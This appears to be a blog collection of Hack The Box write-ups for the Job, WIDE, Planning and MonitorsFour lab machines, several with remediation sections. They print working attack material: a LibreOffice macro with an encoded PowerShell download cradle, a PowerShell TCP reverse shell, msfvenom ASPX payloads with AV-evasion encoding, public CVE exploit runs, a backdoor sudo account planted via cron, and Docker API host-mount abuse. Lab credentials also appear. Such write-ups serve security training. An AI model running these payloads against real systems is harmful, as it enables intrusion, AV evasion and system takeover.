Job writeup

Box name: Job

Difficulty: Medium

OS: Windows

Overview: Job is a Medium difficulty Windows box. It runs an SMTP server and its website accepts LibreOffice-compatible documents, providing a vector to deliver a document with embedded macros that leads to remote code execution as user jack.black. jack.black is a member of the DEVELOPERS group, which has write access to C:\inetpub\wwwroot (the IIS web root), allowing files to be placed in the webroot and achieve code execution as the IIS AppPool service account. The IIS AppPool account has the SeImpersonate privilege, creating conditions that allow token-impersonation techniques to be used to escalate privileges to Administrator.

Link: https://app.hackthebox.com/machines/Job?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.73

Ran rustscan against the machine.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

Navigated to the webserver and it tells us to send in an application/CV as a libre office document. We can’t do it here but it gives us an address career@job.local. 

We do see port 25 (SMTP) open. We can maybe create a malicious libre office document and send an email. Upon research we can use macros possibly. Created a msfvenom payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f psh -o shell.ps1

Set up an http.server.

My current LibreOffice Writer wasn’t working so I downloaded that then opened LibreOffice Writer.

Went to Tools -> Macros -> Edit Macros. Got a base64 payload to download the revshell and added it to the macro.

python3 -c “import base64; cmd = \”IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.27/shell.ps1’)\”; print(base64.b64encode(cmd.encode(‘UTF-16LE’)).decode())”

Sub Main
    Dim oShell As Object
    oShell = CreateObject("WScript.Shell")
    oShell.Run "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkA", 0, False
End Sub

Then added it so it would run upon open under Tools -> Customize -> Events. Used sendemail to send the file.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a ~/Downloads/hacked.odt -s 10.129.234.73:25

I was getting a response on my httpserver but was not getting a shell. I was able to create a new shell that got us a connection.

cat > ~/Fknhack/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.27',1337);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
EOF

And we get a shell as jack.black.

Grabbed user.txt.

Started windows local enumeration and we are in a JOB\developers group.

Whoami /groups

Did more enumeration and we can find that developers has write permissions to C:\inetpub\wwwroot.

icacls C:\inetpub\wwwroot

dir

There is also already an .aspx file in there. Created a .aspx shell.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx

Transferred it to the victim host.

(New-Object Net.WebClient).DownloadFile(‘http://10.10.16.27:8000/shell.aspx’, ‘C:\inetpub\wwwroot\shell.aspx’)

Navigated to it in a browser to trigger it with a listener and we got a shell.

Did additional enumeration as we are under a new account and I found we have SeImpersonatePrivilege privs.

Whoami /priv

I tried to get a meterpreter shell instead so we can abuse these tokens.

I had to evade the AV as with no evasion it was being caught but eventually I got a shell. For evasion I used this.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Incognito actually didn’t work or show tokens but get system worked.

Getsystem

Getuid

And I was able to grab root.txt.

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 25 (SMTP), 80 (HTTP), and others. Browsed to the web server and found a job application portal instructing applicants to submit a LibreOffice-compatible CV to career@job.local. The combination of an SMTP server and a document upload vector immediately suggested a macro-based phishing attack.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

2 – Initial Access – malicious LibreOffice macro via SMTP Generated a PowerShell reverse shell payload with msfvenom and hosted it on an HTTP server. Created a LibreOffice Writer document with a macro that downloaded and executed the shell payload using a base64 encoded PowerShell command. Configured the macro to trigger on document open via Tools – Customize – Events. Sent the malicious document to career@job.local via sendEmail. The initial msfvenom payload was caught by AV so replaced it with a raw TCP PowerShell shell script. Obtained a shell as jack.black and retrieved user.txt.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a hacked.odt -s 10.129.234.73:25

3 – IIS web root write access via DEVELOPERS group Enumerated group memberships and found jack.black was in the JOB\DEVELOPERS group. Confirmed the DEVELOPERS group had write access to C:\inetpub\wwwroot. Generated an ASPX reverse shell with msfvenom, transferred it to the web root, and triggered it via browser to obtain a shell as the IIS AppPool service account.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx icacls C:\inetpub\wwwroot

4 – Privilege Escalation – SeImpersonatePrivilege via Meterpreter getsystem Confirmed the IIS AppPool account held SeImpersonatePrivilege. Standard Meterpreter payloads were caught by Defender. Used XOR dynamic encoding with multiple iterations to evade AV detection and obtain a Meterpreter session. Incognito token impersonation was unavailable but getsystem succeeded in escalating to SYSTEM. Retrieved root.txt.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Key Takeaways

1. SMTP server accepting unauthenticated email enabling macro delivery – The SMTP server accepted mail from arbitrary external senders with no authentication or sender verification, allowing delivery of a malicious document to an internal mailbox. SMTP servers must require authentication for submission and must implement sender verification controls including SPF, DKIM, and DMARC.
   
2. Document processing without macro sandboxing or stripping – The career portal processed LibreOffice documents including embedded macros without sandboxing or stripping executable content. Document processing pipelines must disable macro execution entirely or process documents in an isolated environment with no network access and no ability to execute system commands.
   
3. DEVELOPERS group with write access to IIS web root – The JOB\DEVELOPERS group had write access to C:\inetpub\wwwroot, allowing any member to deploy arbitrary ASPX files and achieve code execution under the IIS AppPool account. Web root write access must be restricted to dedicated deployment service accounts and must never be granted to broad developer groups.
   
4. IIS AppPool account holding SeImpersonatePrivilege – The IIS application pool service account held SeImpersonatePrivilege which is a well-known privilege escalation path via token impersonation attacks. IIS AppPool accounts must run under dedicated identities with the minimum required permissions and must be audited for excessive privileges including SeImpersonatePrivilege.
   
5. AV evasion required but achievable with basic encoding – Defender blocked standard Meterpreter payloads but was bypassed using XOR encoding with multiple iterations. Reliance on signature-based AV as the primary defense is insufficient. Behavioral detection, application whitelisting, and network-level controls must be layered to detect post-exploitation activity regardless of payload encoding.
   

Remediation

[Immediate] Require SMTP authentication and implement email content filtering Configure the SMTP server to require authentication for all mail submission and reject unauthenticated connections from external sources. Deploy an email security gateway that strips or sandboxes macro-enabled documents before delivery. Implement SPF, DKIM, and DMARC to prevent spoofed sender addresses.

[Immediate] Disable macro execution in document processing Process all submitted documents in an isolated sandbox with no network access and no script or macro execution capability. If document preview or conversion is required, use a dedicated conversion service that renders documents without executing embedded code. Alert on any submitted document containing macros.

[Immediate] Remove write access from the DEVELOPERS group on the IIS web root Remove the DEVELOPERS group write permission from C:\inetpub\wwwroot immediately. Restrict web root write access to a dedicated deployment service account used exclusively for controlled deployments via an approved CI/CD pipeline. Audit the current web root for any unauthorized files including shell.aspx and meter.aspx and remove them.

[Immediate] Remove SeImpersonatePrivilege from the IIS AppPool account Audit the IIS AppPool account’s privileges and remove SeImpersonatePrivilege. Run IIS application pools under dedicated managed service accounts with the minimum permissions required. Verify that no application pool identity holds SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, or other token manipulation privileges.

[Short-term] Deploy behavioral endpoint detection Supplement signature-based AV with a behavioral EDR solution that detects post-exploitation activity including PowerShell download cradles, ASPX webshell execution, and token impersonation regardless of payload encoding. Alert on PowerShell executing from document processing contexts and on ASPX files being written to the web root.

[Long-term] Implement a secure document handling and web application deployment baseline Define a standard for all document intake processes covering macro stripping, sandboxed processing, and file type validation. Establish a controlled deployment pipeline for the IIS web root with change logging and file integrity monitoring. Include document processing pipelines and IIS configurations in the regular penetration testing scope.

WIDE writeup

Challenge name: WIDE

Difficulty: Very Easy

Challenge Scenario: We’ve received reports that Draeger has stashed a huge arsenal in the pocket dimension Flaggle Alpha. You’ve managed to smuggle a discarded access terminal to the Widely Inflated Dimension Editor from his headquarters, but the entry for the dimension has been encrypted. Can you make it inside and take control?

Link: https://app.hackthebox.com/challenges/WIDE?tab=play_challenge

Machine IP: N/A

We were provided some files. Downloaded those and unzipped them. We get two files.

When cat’ing them out we get jumbled characters. 

Wide can be executed so I ran that and it gave me usage that I could run it against db.ex.

When typing numbers it game more more information on the dimensions. When I tried 6, which would be Flaggle Alpha, it asks for a key as it is encrypted.

We can use radare2 to map the binary.

r2 -A wide

Afl

Pdf @ main

Pdf @ sym.menu

I’m not professional yet at reading this yet but there is a lot of comments and we can see a possible key.

Copied that that and ran wide again pasting that and I was able to get the flag.

GG

Planning writeup

Box name: Planning

Difficulty: Easy

OS: Linux

Overview: Planning is an easy difficulty Linux machine that features web enumeration, subdomain fuzzing, and exploitation of a vulnerable Grafana instance to CVE-2024-9264. After gaining initial access to a Docker container, an exposed password enables lateral movement to the host system due to password reuse. Finally, a custom cron management application with root privileges can be leveraged to achieve full system compromise.

Link: https://app.hackthebox.com/machines/Planning?sort_by=created_at&sort_type=desc

Machine IP: 10.129.237.241

As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

Scanned the machine with rustscan.

rustscan -a 10.129.237.241 –ulimit 5000 -b 2000 — -A -Pn

Tried the admin creds given to us on ssh but to no avail. Added planning.htb to /etc/hosts. Navigated to that site.

Ran feroxbuster and ffuf to directory bust and vhost fuzz.

feroxbuster -u http://10.129.237.241 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://planning.htb -H “Host: FUZZ.planning.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

Reviewed source code, nothing interesting besides possible usernames under instructors.

Scans not finding anything yet. No /robots.txt. Reran feroxbuster with the DNS name and was getting stuff back.

feroxbuster -u http://planning.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

While that runs I scanned UDP just to see if I’m missing anything.

nmap -sU –top-ports 100 10.129.237.241

Scanned for subdomains too.

ffuf -u http://FUZZ.planning.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

I could not find anything after a while so I peeked at the writeup. Turns out there is a subdomain grafana which is not in that huge list that I ran. Instead we could just run with bitquark list.

ffuf -u http://FUZZ.planning.htb -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

Added that to /etc/hosts. Navigated to the site.

We get a version Grafana v11.0.0. The admin credentials provided for the box worked. admin:0D5oT70Fq13EvB5r

Did research and found this version is vulnerable to RCE via SQL expressions CVE-2024-9264 https://grafana.com/blog/grafana-security-release-critical-severity-fix-for-cve-2024-9264/. Github exploit here https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit. Read through the exploit, downloaded it and ran it with a netcat listener and I got a shell.

python CVE-2024-9264.py –url http://grafana.planning.htb –username admin –password 0D5oT70Fq13EvB5r –reverse-ip 10.10.16.27 –reverse-port 1337

Couldn’t stabilize that normal way. Also couldn’t run sudo -l because there is no command. When I ran hostname it was just a 12 character hex which points to me being contained in docker. Originally I was trying some things to escape the docker but I wasn’t getting anywhere so I was thinking maybe there’s something here like credentials I can find that I can just use on ssh later. I was able to find the grafana.db

find / -type f \( -iname “*.sql” -o -iname “*.db” -o -iname “*.sqlite” -o -iname “*.sqlite3” -o -iname “*.mdb” -o -iname “*.accdb” \) 2>/dev/null | grep -vE “/usr/(lib|share)|/proc”

Nothing important when reading that out. I ran through everything in my linux enumeration notes and finally I found credentials using env.

enzo:RioTecRANDEntANT!

Using this for SSH worked.

No sudo -l. Did my normal manual local enumeration and when enumerating the network I see an interesting port 8000 that is only opened internally that we haven’t seen before.

Port forwarded for just port 8000 using ssh.

ssh enzo@planning.htb -L 8000:127.0.0.1:8000

Navigated to it but it asks us for a sign in and the credentials we have don’t work for admin or enzo.

Forgot to grab user.txt so grabbed that really quick. Poked around further and I found a crontabs directory in /opt which isn’t normal. Inside that it had a .db with credentials in it.

Tried these credentials to ssh into root and didn’t work. Tried it on the site on port 8000 and it got me in.

root:P4ssw0rdS0pRi0T3c

I tried catching a revshell but I couldn’t I don’t think the box can actually reach me. As that wasn’t working I had the cronjob just create a new user with sudo privs.

useradd -m -G sudo -s /bin/bash kami && echo ‘kami:Password123’ | chpasswd

Ran that job. Confirmed it created that account. Switched user. Switched to root and grabbed the flag.

GG

MonitorsFour writeup

Box name: MonitorsFour

Difficulty: Easy

OS: Windows

Overview: Did on release

Link: https://app.hackthebox.com/machines/MonitorsFour?sort_by=created_at&sort_type=desc

Machine IP: 10.129.15.15

Ran rustscan against the machine.

rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver on 80. Had to add monitousfout.htb  to /etc/hosts.

Ran feroxbuster while I poke around.

feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

No robots.txt. Possible usernames in source code.

We do come across a login page.

We don’t have creds yet to get in to this. Feroxbuster found /user which seemed suspicious. I manually played with this for a bit and was actually able to find credentials.

Spawn the pwnbox so I can crack them there. Put the hashes in hashes.txt. Used hashcat.

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

It cracked the admin hash which is actually the most convenient.

admin:wonderful1

I got in to the dashboard with those credentials but after poking around for a bit I don’t think anything was useful.

API keys look the most interesting but I’m not completely sure. I ran a subdomain enumeration while I poke around more.

ffuf -u ‘http://monitorsfour.htb/’ -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138

I couldn’t find anything additional on the current site but we did find a cacti.montorsfour.htb

I wasn’t able to get in with the same credentials but with the previous information I was able to eventually get in with marcus:wonderful1 as that is the admin’s first name.

It looks like this is vulnerable. Found this https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.

We were able to get a shell.

python3 exploit.py \

  -u marcus \

  -p wonderful1 \

  -i 10.10.16.147 \

  -l 4444 \

  -url http://cacti.monitorsfour.htb

After some enumeration it looks like we are in a container.

We can follow the API and check the version.

It’s accessible without authentication so this is vulnerable to CVE-2025-9074. We can create a JSON config for this exploit.

cat > /tmp/container.json << ‘EOF’

{

  “Image”: “alpine:latest”,

  “Cmd”: [“/bin/sh”, “-c”, “cat /mnt/host_root/Users/Administrator/Desktop/root.txt”],

  “HostConfig”: {

    “Binds”: [“/mnt/host/c:/mnt/host_root”]

  },

  “Tty”: true,

  “OpenStdin”: true

}

EOF

cd /tmp && python3 -m http.server 8000

We can download the config.

curl http://10.10.16.147:8000/container.json -o /tmp/container.json

Create the container.

curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned“

Start it.

curl -X POST http://192.168.65.7:2375/containers/cac325013e2df9e53c911f2fc57cecb554cb432233cdfe088ecdb25a83999fd0/start

And we got root.

curl “http://192.168.65.7:2375/containers/cac325013e2df9e53c911f2fc57cecb554cb432233cdfe088ecdb25a83999fd0/logs?stdout=true&#8221;

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified port 80 (HTTP). Added monitorsfour.htb to /etc/hosts. Browsed to the web server and found a login page. Noted possible usernames in the page source. Ran feroxbuster while poking around manually.

rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – Credential discovery and hash cracking Feroxbuster found a /user path. Manually exploring it revealed hashed credentials. Transferred the hashes to the Pwnbox and cracked them with Hashcat using rockyou. The admin hash cracked successfully.

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: admin:wonderful1

3 – Subdomain enumeration and Cacti access Logged into the dashboard but found nothing immediately exploitable. Ran subdomain fuzzing with ffuf and discovered cacti.monitorsfour.htb. Could not log in with the admin credentials but used the admin’s first name Marcus with the same password and got in.

ffuf -u ‘http://monitorsfour.htb/&#8217; -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138

Credentials: marcus:wonderful1

4 – Initial Access – CVE-2025-24367 Cacti RCE Identified the Cacti instance was vulnerable to CVE-2025-24367, an authenticated remote code execution vulnerability. Used a public PoC exploit to obtain a reverse shell.

python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.147 -l 4444 -url http://cacti.monitorsfour.htb

5 – Container escape via unauthenticated Docker API – CVE-2025-9074 Enumeration confirmed the shell was inside a container. Found the Docker daemon API accessible on port 2375 without authentication. Created a malicious container configuration that mounted the host filesystem and used it to read root.txt directly from the Administrator desktop.

curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned&#8221;

Key Takeaways

1. Hashed credentials exposed via unauthenticated endpoint – Hashes were accessible through a /user path with no authentication required. Credential data of any kind must never be exposed through web endpoints and access to user management paths must require authentication.
2. Password reuse across accounts and services – The same password was shared between the admin account on the main application and the marcus account on the Cacti subdomain. Password reuse across any accounts is unacceptable and a single compromised password should never grant access to multiple services.
3. Cacti RCE via CVE-2025-24367 (CVSS 8.8 High) – The Cacti instance was running a vulnerable version with a known authenticated RCE. Network monitoring tools are often overlooked in patch cycles but are high-value targets given their privileged network position and service account access.
4. Unauthenticated Docker API exposed internally – CVE-2025-9074 (CVSS 9.8 Critical) – The Docker daemon was listening on port 2375 with no authentication, allowing any process inside the container network to create and manage containers with arbitrary host filesystem mounts. The Docker socket and API must never be exposed without authentication and TLS.
5. Container escape via host filesystem mount – Once the Docker API was accessible it was trivial to mount the host root filesystem into a new container and read any file on the host. Container workloads must be isolated with appropriate runtime security controls to prevent this class of escape.

Remediation

[Immediate] Patch Cacti to remediate CVE-2025-24367 (CVSS 8.8 High) Update Cacti to the latest patched version immediately. Subscribe to Cacti security advisories and apply patches within 48 hours of a critical or high severity release. Restrict access to the Cacti interface to authorised IP ranges only and require strong unique credentials.

[Immediate] Secure the Docker API – CVE-2025-9074 (CVSS 9.8 Critical) Disable TCP exposure of the Docker daemon immediately. If remote Docker API access is operationally required, enable TLS mutual authentication and restrict access by IP. The Docker socket should never be accessible to untrusted processes or containers.

[Immediate] Remove exposed credential endpoints Audit all web application paths for unauthenticated access to user data, hashes, or credential material. The /user endpoint must require authentication. Conduct a full review of access controls across both the main application and the Cacti subdomain.

[Immediate] Enforce unique passwords across all accounts and services Rotate all passwords for accounts sharing the wonderful1 credential immediately. Implement a password policy requiring unique credentials per account and per service. Deploy a PAM solution to manage privileged account credentials.

[Short-term] Implement container runtime security controls Deploy a container security solution such as Falco or Sysdig to detect anomalous container behaviour including unexpected filesystem mounts and API calls. Apply seccomp and AppArmor profiles to all container workloads. Regularly audit running containers for unnecessary host mounts and privileged flags.

[Long-term] Integrate network monitoring tools into the vulnerability management program Tools like Cacti often run with elevated network access and are overlooked in patch cycles. Include all monitoring and infrastructure tooling in regular vulnerability scans. Define a hardening baseline for these tools covering authentication, network exposure, patch cadence, and service account permissions.